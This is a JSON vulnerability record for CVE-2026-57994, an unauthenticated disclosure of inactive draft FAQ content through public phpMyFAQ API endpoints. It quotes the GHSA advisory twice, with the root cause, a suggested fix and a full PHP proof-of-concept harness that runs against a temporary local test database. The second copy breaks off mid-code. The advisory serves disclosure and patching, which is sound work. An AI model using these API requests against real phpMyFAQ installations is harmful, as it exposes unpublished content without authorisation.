{"id":"CVE-2026-57994","aliases":["EUVD-2026-42892","GHSA-7582-hcc6-fvcg","GHSA-mf8r-wm2w-f8c5"],"status":"published","title":"phpMyFAQ - Information Disclosure of Inactive FAQ Content via Public API Endpoints","description":"phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00358,"percentile":0.29987,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-863"],"published":"2026-07-10T13:58:00Z","modified":"2026-11-07T02:48:40Z","fixes":[{"ecosystem":"Packagist","package":"thorsten/phpmyfaq","fixed_in":["4.1.5"],"sources":["ghsa","osv"]},{"ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","fixed_in":["4.1.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"thorsten/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"last_affected":"4.1.4"},{"fixed":"4.1.5"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"last_affected":"4.1.4"},{"fixed":"4.1.5"}]}]},{"source":"osv","ecosystem":"Packagist","package":"thorsten/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"4.1.5"}]}],"versions":["4.1.0","4.1.1","4.1.2","4.1.3","4.1.4"]},{"source":"osv","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"4.1.5"}]}],"versions":["4.1.0","4.1.1","4.1.2","4.1.3","4.1.4"]}],"products":[{"vendor":"phpmyfaq","product":"phpmyfaq"},{"vendor":"thorsten","product":"phpmyfaq"}],"references":[{"url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-mf8r-wm2w-f8c5","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/phpmyfaq-information-disclosure-of-inactive-faq-content-via-public-api-endpoints","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57994","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7582-hcc6-fvcg"},{"url":"https://github.com/thorsten/phpMyFAQ/commit/4c7e3f841ba6cb25564c6802509a669b0e328321","tags":["web"]},{"url":"https://github.com/thorsten/phpMyFAQ/tree/4.1.5","tags":["web"]},{"url":"https://github.com/advisories/GHSA-mf8r-wm2w-f8c5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/57xxx/CVE-2026-57994.json","tags":["advisory"]},{"url":"https://github.com/thorsten/phpMyFAQ","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-57994","title":"phpMyFAQ - Information Disclosure of Inactive FAQ Content via Public API Endpoints","description":"phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.","status":"published","published":"2026-07-10T13:58:00.962Z","modified":"2026-07-10T14:55:58.886Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T13:43:56.024247Z"}],"euvd":[{"id":"EUVD-2026-42892","description":"phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.","status":"published","published":"2026-07-10T13:58:00Z","modified":"2026-07-10T14:55:58Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:20:02.822464Z"}],"ghsa":[{"id":"GHSA-7582-hcc6-fvcg","title":"phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its...","description":"phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.","status":"published","published":"2026-07-10T15:31:40Z","modified":"2026-07-10T15:31:48Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:09:23.304195Z"},{"id":"GHSA-mf8r-wm2w-f8c5","title":"phpMyFAQ public FAQ APIs expose inactive FAQ content","description":"## Affected Product\n\nphpMyFAQ\n\n## Affected Versions\n\n- Confirmed affected: 4.1.4, API v3.1.\n- Confirmed affected: current main / 4.2-style source, API v4.0, for `GET /api/v4.0/faqs/tags/{tagId}` when `api.onlyActiveFaqs=true`.\n\n## Patched Versions\n\n4.1.5.\n\n## Description\n\nThe public FAQ API applies inconsistent `active = 'yes'` filtering across endpoints. A FAQ entry marked `active = 'no'` is hidden from `GET /api/v3.1/faqs/{categoryId}` in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:\n\n- `GET /api/v3.1/faq/{categoryId}/{faqId}` returns the inactive FAQ title and full answer.\n- `GET /api/v3.1/faqs/tags/{tagId}` returns the inactive FAQ title and answer preview.\n\nOn the current 4.2-style branch, `api.onlyActiveFaqs=true` hides inactive FAQs from list and direct-by-id endpoints, but `GET /api/v4.0/faqs/tags/{tagId}` still returns inactive FAQ title and preview because it calls `Faq::getFaqsByIds()` without active/date filtering.\n\nInactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.\n\n## Root Cause\n\n`FaqController::getByCategoryId()` calls `Faq::getAllAvailableFaqsByCategoryId()`, which filters:\n\n```sql\nfd.date_start \u003c= now\nAND fd.date_end \u003e= now\nAND fd.active = 'yes'\n```\n\n`FaqController::getByTagId()` instead resolves record IDs through `Tags::getFaqsByTagId()` and then calls `Faq::getFaqsByIds($recordIds)`.\n\n`Faq::getFaqsByIds()` filters by record ID, language, and permission, but does not filter `fd.active = 'yes'` or publication date windows before returning `record_title` and `record_preview`.\n\nIn phpMyFAQ 4.1.4, `FaqController::getById()` calls `Faq::getFaqByIdAndCategoryId()`, which also lacks an inactive/publication-window filter and returns the full answer.\n\n## Proof of Concept\n\nThe attached PoC uses phpMyFAQ's real Composer autoloader, real public `FaqController`, and a temporary copy of `tests/test.db`.\n\nRun from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and `tests/test.db` exists:\n\n```bash\nphp poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n```\n\nExpected output:\n\n```text\nphpMyFAQ version: 4.1.4\nInserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414\n\nGET /api/v3.1/faqs/991414 status: 200\nCategory response contains inactive title: no\n\nGET /api/v3.1/faq/991414/991414 status: 200\nDirect-by-id response contains inactive full title+answer: yes\n\nGET /api/v3.1/faqs/tags/991414 status: 200\nTag response contains inactive title+preview: yes\n\nVERDICT: reproduced inactive FAQ exposure through public API controller paths.\n```\n\n## Suggested Fix\n\nApply one consistent public visibility check across all public FAQ API routes:\n\n- `fd.active = 'yes'`\n- `fd.date_start \u003c= now`\n- `fd.date_end \u003e= now`\n\nSuggested implementation options:\n\n- Add `Faq::getActiveFaqsByIds(array $faqIds)` and use it in public tag API routes.\n- Or add an `$onlyActive` / `$publicOnly` argument to `Faq::getFaqsByIds()` and default public controllers to enabled filtering.\n- Update `Faq::getFaqByIdAndCategoryId()` or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.\n- Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.\n\n## Reporter Credit\n\nPlease credit:\n\nYaohui Wang\n\n## CVE Request\n\nBecause this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.\n\n\n## Full PoC Source\n\n~~~php\n\u003c?php\n\ndeclare(strict_types=1);\n\n/*\n * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.\n *\n * Usage from a phpMyFAQ 4.1.4 source checkout:\n *   php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n *\n * If no path is provided, the current working directory is used.\n *\n * This is a local-only defensive harness. It uses phpMyFAQ's real Composer\n * autoloader, real public API controller, and a temporary copy of tests/test.db.\n */\n\nuse phpMyFAQ\\Configuration;\nuse phpMyFAQ\\Controller\\Api\\FaqController;\nuse phpMyFAQ\\Database;\nuse phpMyFAQ\\Database\\DatabaseDriver;\nuse phpMyFAQ\\Language;\nuse phpMyFAQ\\Strings;\nuse phpMyFAQ\\System;\nuse phpMyFAQ\\Translation;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\Session\\Session;\nuse Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockArraySessionStorage;\n\n$repoRoot = $argv[1] ?? getcwd();\n$repoRoot = realpath($repoRoot);\nif ($repoRoot === false || !is_dir($repoRoot . '/phpmyfaq')) {\n    fwrite(STDERR, \"Usage: php \" . basename(__FILE__) . \" /path/to/phpMyFAQ-4.1.4\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . '/phpmyfaq/src/autoload.php')) {\n    fwrite(STDERR, \"Missing phpmyfaq/src/autoload.php. Run composer install first.\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . '/tests/test.db')) {\n    fwrite(STDERR, \"Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\\n\");\n    exit(2);\n}\n\ndefine('PMF_ROOT_DIR', $repoRoot . '/phpmyfaq');\ndefine('PMF_CONFIG_DIR', $repoRoot . '/tests/content/core/config');\ndefine('PMF_CONTENT_DIR', $repoRoot . '/tests/content');\ndefine('PMF_TEST_DIR', $repoRoot . '/tests');\ndefine('PMF_LOG_DIR', sys_get_temp_dir() . '/phpmyfaq_414_inactive_faq_api_poc.log');\nconst IS_VALID_PHPMYFAQ = true;\n\n$_SERVER['HTTP_HOST'] = 'localhost';\n$_SERVER['SERVER_NAME'] = 'localhost';\n$_SERVER['REQUEST_TIME'] = time();\n\nrequire PMF_ROOT_DIR . '/src/constants.php';\nrequire PMF_ROOT_DIR . '/content/core/config/constants.php';\nrequire PMF_ROOT_DIR . '/translations/language_en.php';\nrequire PMF_ROOT_DIR . '/src/autoload.php';\n\nfunction pocQuery(DatabaseDriver $db, string $sql): void\n{\n    $result = $db-\u003equery($sql);\n    if ($result === false) {\n        throw new RuntimeException('SQL failed: ' . $db-\u003eerror() . \"\\nSQL: \" . $sql);\n    }\n}\n\n$tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-');\nif ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) {\n    fwrite(STDERR, \"Cannot create temporary SQLite database.\\n\");\n    exit(2);\n}\n\ntry {\n    Strings::init();\n    Translation::create()\n        -\u003esetTranslationsDir(PMF_ROOT_DIR . '/translations')\n        -\u003esetDefaultLanguage('en')\n        -\u003esetCurrentLanguage('en')\n        -\u003esetMultiByteLanguage();\n\n    Database::setTablePrefix('');\n    $db = Database::factory('pdo_sqlite');\n    if (!$db instanceof DatabaseDriver) {\n        throw new RuntimeException('Could not create PDO SQLite database driver.');\n    }\n\n    $db-\u003econnect($tempDb, '', '');\n\n    $configuration = new Configuration($db);\n    $configuration-\u003egetAll();\n    $configuration-\u003eset('api.enableAccess', 'true');\n    $configuration-\u003eset('main.currentVersion', System::getVersion());\n    $configuration-\u003eset('main.language', 'en');\n    $configuration-\u003eset('main.referenceURL', 'https://localhost/');\n    $configuration-\u003eset('security.enableLoginOnly', 'false');\n    $configuration-\u003eset('security.permLevel', 'basic');\n    $configuration-\u003eset('records.numberOfRecordsPerPage', '25');\n    $configuration-\u003egetAll();\n\n    $session = new Session(new MockArraySessionStorage());\n    $language = new Language($configuration, $session);\n    $language-\u003esetLanguageFromConfiguration('en');\n    $configuration-\u003esetLanguage($language);\n\n    $faqId = 991414;\n    $tagId = 991414;\n    $categoryId = 991414;\n    $question = 'Inactive tagged API probe 4.1.4';\n    $answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.';\n\n    pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId));\n    pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId));\n    pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqvisits WHERE id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqcategoryrelations WHERE record_id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqdata WHERE id = %d', $faqId));\n\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqdata\n            (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order)\n         VALUES\n            (%d, 'en', %d, 0, 'no', 0, 'probe', '%s', '%s', 'Probe', 'probe@example.test', 'y', '20260601010101', '00000000000000', '99991231235959', '2026-06-01 01:01:01', '', 0)\",\n        $faqId,\n        $faqId,\n        $db-\u003eescape($question),\n        $db-\u003eescape($answer),\n    ));\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)\n         VALUES (%d, 'en', %d, 'en')\",\n        $categoryId,\n        $faqId,\n    ));\n    pocQuery($db, sprintf('INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)', $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, 'en', 0, 20260601010101)\", $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, 'probe-private-414')\", $tagId));\n    pocQuery($db, sprintf('INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)', $faqId, $tagId));\n\n    $controller = new FaqController();\n\n    $categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET');\n    $categoryRequest-\u003eattributes-\u003eset('categoryId', (string) $categoryId);\n    $categoryResponse = $controller-\u003egetByCategoryId($categoryRequest);\n    $categoryContainsProbe = str_contains((string) $categoryResponse-\u003egetContent(), $question);\n\n    $directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET');\n    $directRequest-\u003eattributes-\u003eset('categoryId', (string) $categoryId);\n    $directRequest-\u003eattributes-\u003eset('faqId', (string) $faqId);\n    $directResponse = $controller-\u003egetById($directRequest);\n    $directContainsProbe = str_contains((string) $directResponse-\u003egetContent(), $question)\n        \u0026\u0026 str_contains((string) $directResponse-\u003egetContent(), $answer);\n\n    $tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET');\n    $tagRequest-\u003eattributes-\u003eset('tagId', (string) $tagId);\n    $tagResponse = $controller-\u003egetByTagId($tagRequest);\n    $tagPayload = json_decode((string) $tagResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n    $tagContainsProbe = str_contains((string) $tagResponse-\u003egetContent(), $question)\n        \u0026\u0026 str_contains((string) $tagResponse-\u003egetContent(), 'inactive FAQ preview');\n\n    echo \"phpMyFAQ version: \" . System::getVersion() . \"\\n\";\n    echo \"Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\\n\\n\";\n    echo \"GET /api/v3.1/faqs/{$categoryId} status: \" . $categoryResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Category response contains inactive title: \" . ($categoryContainsProbe ? 'yes' : 'no') . \"\\n\\n\";\n    echo \"GET /api/v3.1/faq/{$categoryId}/{$faqId} status: \" . $directResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Direct-by-id response contains inactive full title+answer: \" . ($directContainsProbe ? 'yes' : 'no') . \"\\n\\n\";\n    echo \"GET /api/v3.1/faqs/tags/{$tagId} status: \" . $tagResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Tag response contains inactive title+preview: \" . ($tagContainsProbe ? 'yes' : 'no') . \"\\n\";\n    echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . \"\\n\\n\";\n\n    if (!$categoryContainsProbe \u0026\u0026 $directContainsProbe \u0026\u0026 $tagContainsProbe) {\n        echo \"VERDICT: reproduced inactive FAQ exposure through public API controller paths.\\n\";\n        exit(0);\n    }\n\n    echo \"VERDICT: not reproduced.\\n\";\n    exit(1);\n} finally {\n    if (isset($tempDb) \u0026\u0026 is_file($tempDb)) {\n        @unlink($tempDb);\n    }\n}\n\n~~~","status":"published","published":"2026-08-25T17:30:23Z","modified":"2026-08-25T17:30:27Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-02T14:41:05.994358Z"}],"nvd":[{"id":"CVE-2026-57994","description":"phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.","status":"published","published":"2026-07-10T15:16:47.85Z","modified":"2026-07-10T17:41:47.303Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:28.771746Z"}],"osv":[{"id":"CVE-2026-57994","title":"phpMyFAQ - Information Disclosure of Inactive FAQ Content via Public API Endpoints","description":"phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.","status":"published","published":"2026-07-10T13:58:00.962Z","modified":"2026-11-07T02:48:40.454767261Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-07T03:08:07.940184Z"},{"id":"GHSA-mf8r-wm2w-f8c5","title":"phpMyFAQ public FAQ APIs expose inactive FAQ content","description":"## Affected Product\n\nphpMyFAQ\n\n## Affected Versions\n\n- Confirmed affected: 4.1.4, API v3.1.\n- Confirmed affected: current main / 4.2-style source, API v4.0, for `GET /api/v4.0/faqs/tags/{tagId}` when `api.onlyActiveFaqs=true`.\n\n## Patched Versions\n\n4.1.5.\n\n## Description\n\nThe public FAQ API applies inconsistent `active = 'yes'` filtering across endpoints. A FAQ entry marked `active = 'no'` is hidden from `GET /api/v3.1/faqs/{categoryId}` in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:\n\n- `GET /api/v3.1/faq/{categoryId}/{faqId}` returns the inactive FAQ title and full answer.\n- `GET /api/v3.1/faqs/tags/{tagId}` returns the inactive FAQ title and answer preview.\n\nOn the current 4.2-style branch, `api.onlyActiveFaqs=true` hides inactive FAQs from list and direct-by-id endpoints, but `GET /api/v4.0/faqs/tags/{tagId}` still returns inactive FAQ title and preview because it calls `Faq::getFaqsByIds()` without active/date filtering.\n\nInactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.\n\n## Root Cause\n\n`FaqController::getByCategoryId()` calls `Faq::getAllAvailableFaqsByCategoryId()`, which filters:\n\n```sql\nfd.date_start \u003c= now\nAND fd.date_end \u003e= now\nAND fd.active = 'yes'\n```\n\n`FaqController::getByTagId()` instead resolves record IDs through `Tags::getFaqsByTagId()` and then calls `Faq::getFaqsByIds($recordIds)`.\n\n`Faq::getFaqsByIds()` filters by record ID, language, and permission, but does not filter `fd.active = 'yes'` or publication date windows before returning `record_title` and `record_preview`.\n\nIn phpMyFAQ 4.1.4, `FaqController::getById()` calls `Faq::getFaqByIdAndCategoryId()`, which also lacks an inactive/publication-window filter and returns the full answer.\n\n## Proof of Concept\n\nThe attached PoC uses phpMyFAQ's real Composer autoloader, real public `FaqController`, and a temporary copy of `tests/test.db`.\n\nRun from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and `tests/test.db` exists:\n\n```bash\nphp poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n```\n\nExpected output:\n\n```text\nphpMyFAQ version: 4.1.4\nInserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414\n\nGET /api/v3.1/faqs/991414 status: 200\nCategory response contains inactive title: no\n\nGET /api/v3.1/faq/991414/991414 status: 200\nDirect-by-id response contains inactive full title+answer: yes\n\nGET /api/v3.1/faqs/tags/991414 status: 200\nTag response contains inactive title+preview: yes\n\nVERDICT: reproduced inactive FAQ exposure through public API controller paths.\n```\n\n## Suggested Fix\n\nApply one consistent public visibility check across all public FAQ API routes:\n\n- `fd.active = 'yes'`\n- `fd.date_start \u003c= now`\n- `fd.date_end \u003e= now`\n\nSuggested implementation options:\n\n- Add `Faq::getActiveFaqsByIds(array $faqIds)` and use it in public tag API routes.\n- Or add an `$onlyActive` / `$publicOnly` argument to `Faq::getFaqsByIds()` and default public controllers to enabled filtering.\n- Update `Faq::getFaqByIdAndCategoryId()` or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.\n- Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.\n\n## Reporter Credit\n\nPlease credit:\n\nYaohui Wang\n\n## CVE Request\n\nBecause this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.\n\n\n## Full PoC Source\n\n~~~php\n\u003c?php\n\ndeclare(strict_types=1);\n\n/*\n * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.\n *\n * Usage from a phpMyFAQ 4.1.4 source checkout:\n *   php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n *\n * If no path is provided, the current working directory is used.\n *\n * This is a local-only defensive harness. It uses phpMyFAQ's real Composer\n * autoloader, real public API controller, and a temporary copy of tests/test.db.\n */\n\nuse phpMyFAQ\\Configuration;\nuse phpMyFAQ\\Controller\\Api\\FaqController;\nuse phpMyFAQ\\Database;\nuse phpMyFAQ\\Database\\DatabaseDriver;\nuse phpMyFAQ\\Language;\nuse phpMyFAQ\\Strings;\nuse phpMyFAQ\\System;\nuse phpMyFAQ\\Translation;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\Session\\Session;\nuse Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockArraySessionStorage;\n\n$repoRoot = $argv[1] ?? getcwd();\n$repoRoot = realpath($repoRoot);\nif ($repoRoot === false || !is_dir($repoRoot . '/phpmyfaq')) {\n    fwrite(STDERR, \"Usage: php \" . basename(__FILE__) . \" /path/to/phpMyFAQ-4.1.4\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . '/phpmyfaq/src/autoload.php')) {\n    fwrite(STDERR, \"Missing phpmyfaq/src/autoload.php. Run composer install first.\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . '/tests/test.db')) {\n    fwrite(STDERR, \"Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\\n\");\n    exit(2);\n}\n\ndefine('PMF_ROOT_DIR', $repoRoot . '/phpmyfaq');\ndefine('PMF_CONFIG_DIR', $repoRoot . '/tests/content/core/config');\ndefine('PMF_CONTENT_DIR', $repoRoot . '/tests/content');\ndefine('PMF_TEST_DIR', $repoRoot . '/tests');\ndefine('PMF_LOG_DIR', sys_get_temp_dir() . '/phpmyfaq_414_inactive_faq_api_poc.log');\nconst IS_VALID_PHPMYFAQ = true;\n\n$_SERVER['HTTP_HOST'] = 'localhost';\n$_SERVER['SERVER_NAME'] = 'localhost';\n$_SERVER['REQUEST_TIME'] = time();\n\nrequire PMF_ROOT_DIR . '/src/constants.php';\nrequire PMF_ROOT_DIR . '/content/core/config/constants.php';\nrequire PMF_ROOT_DIR . '/translations/language_en.php';\nrequire PMF_ROOT_DIR . '/src/autoload.php';\n\nfunction pocQuery(DatabaseDriver $db, string $sql): void\n{\n    $result = $db-\u003equery($sql);\n    if ($result === false) {\n        throw new RuntimeException('SQL failed: ' . $db-\u003eerror() . \"\\nSQL: \" . $sql);\n    }\n}\n\n$tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-');\nif ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) {\n    fwrite(STDERR, \"Cannot create temporary SQLite database.\\n\");\n    exit(2);\n}\n\ntry {\n    Strings::init();\n    Translation::create()\n        -\u003esetTranslationsDir(PMF_ROOT_DIR . '/translations')\n        -\u003esetDefaultLanguage('en')\n        -\u003esetCurrentLanguage('en')\n        -\u003esetMultiByteLanguage();\n\n    Database::setTablePrefix('');\n    $db = Database::factory('pdo_sqlite');\n    if (!$db instanceof DatabaseDriver) {\n        throw new RuntimeException('Could not create PDO SQLite database driver.');\n    }\n\n    $db-\u003econnect($tempDb, '', '');\n\n    $configuration = new Configuration($db);\n    $configuration-\u003egetAll();\n    $configuration-\u003eset('api.enableAccess', 'true');\n    $configuration-\u003eset('main.currentVersion', System::getVersion());\n    $configuration-\u003eset('main.language', 'en');\n    $configuration-\u003eset('main.referenceURL', 'https://localhost/');\n    $configuration-\u003eset('security.enableLoginOnly', 'false');\n    $configuration-\u003eset('security.permLevel', 'basic');\n    $configuration-\u003eset('records.numberOfRecordsPerPage', '25');\n    $configuration-\u003egetAll();\n\n    $session = new Session(new MockArraySessionStorage());\n    $language = new Language($configuration, $session);\n    $language-\u003esetLanguageFromConfiguration('en');\n    $configuration-\u003esetLanguage($language);\n\n    $faqId = 991414;\n    $tagId = 991414;\n    $categoryId = 991414;\n    $question = 'Inactive tagged API probe 4.1.4';\n    $answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.';\n\n    pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId));\n    pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId));\n    pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqvisits WHERE id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqcategoryrelations WHERE record_id = %d', $faqId));\n    pocQuery($db, 